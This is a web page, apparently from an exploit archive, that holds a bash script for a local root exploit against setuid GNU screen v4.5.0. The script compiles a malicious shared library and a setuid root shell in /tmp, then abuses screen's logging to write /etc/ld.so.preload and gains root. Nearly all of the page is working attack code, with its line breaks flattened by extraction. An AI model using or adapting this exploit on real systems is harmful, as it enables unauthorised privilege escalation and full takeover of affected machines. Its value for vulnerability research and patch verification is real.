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Posted on 30 November -0001
<HTML><HEAD><TITLE>GNU screen v4.5.0 local root bash exploit</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>#!/bin/bash # screenroot.sh # setuid screen v4.5.0 local root exploit # abuses ld.so.preload overwriting to get root. # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html # HACK THE PLANET # ~ infodox (25/1/2017) echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat << EOF > /tmp/libhax.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done! "); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat << EOF > /tmp/rootshell.c #include <stdio.h> int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell </BODY></HTML>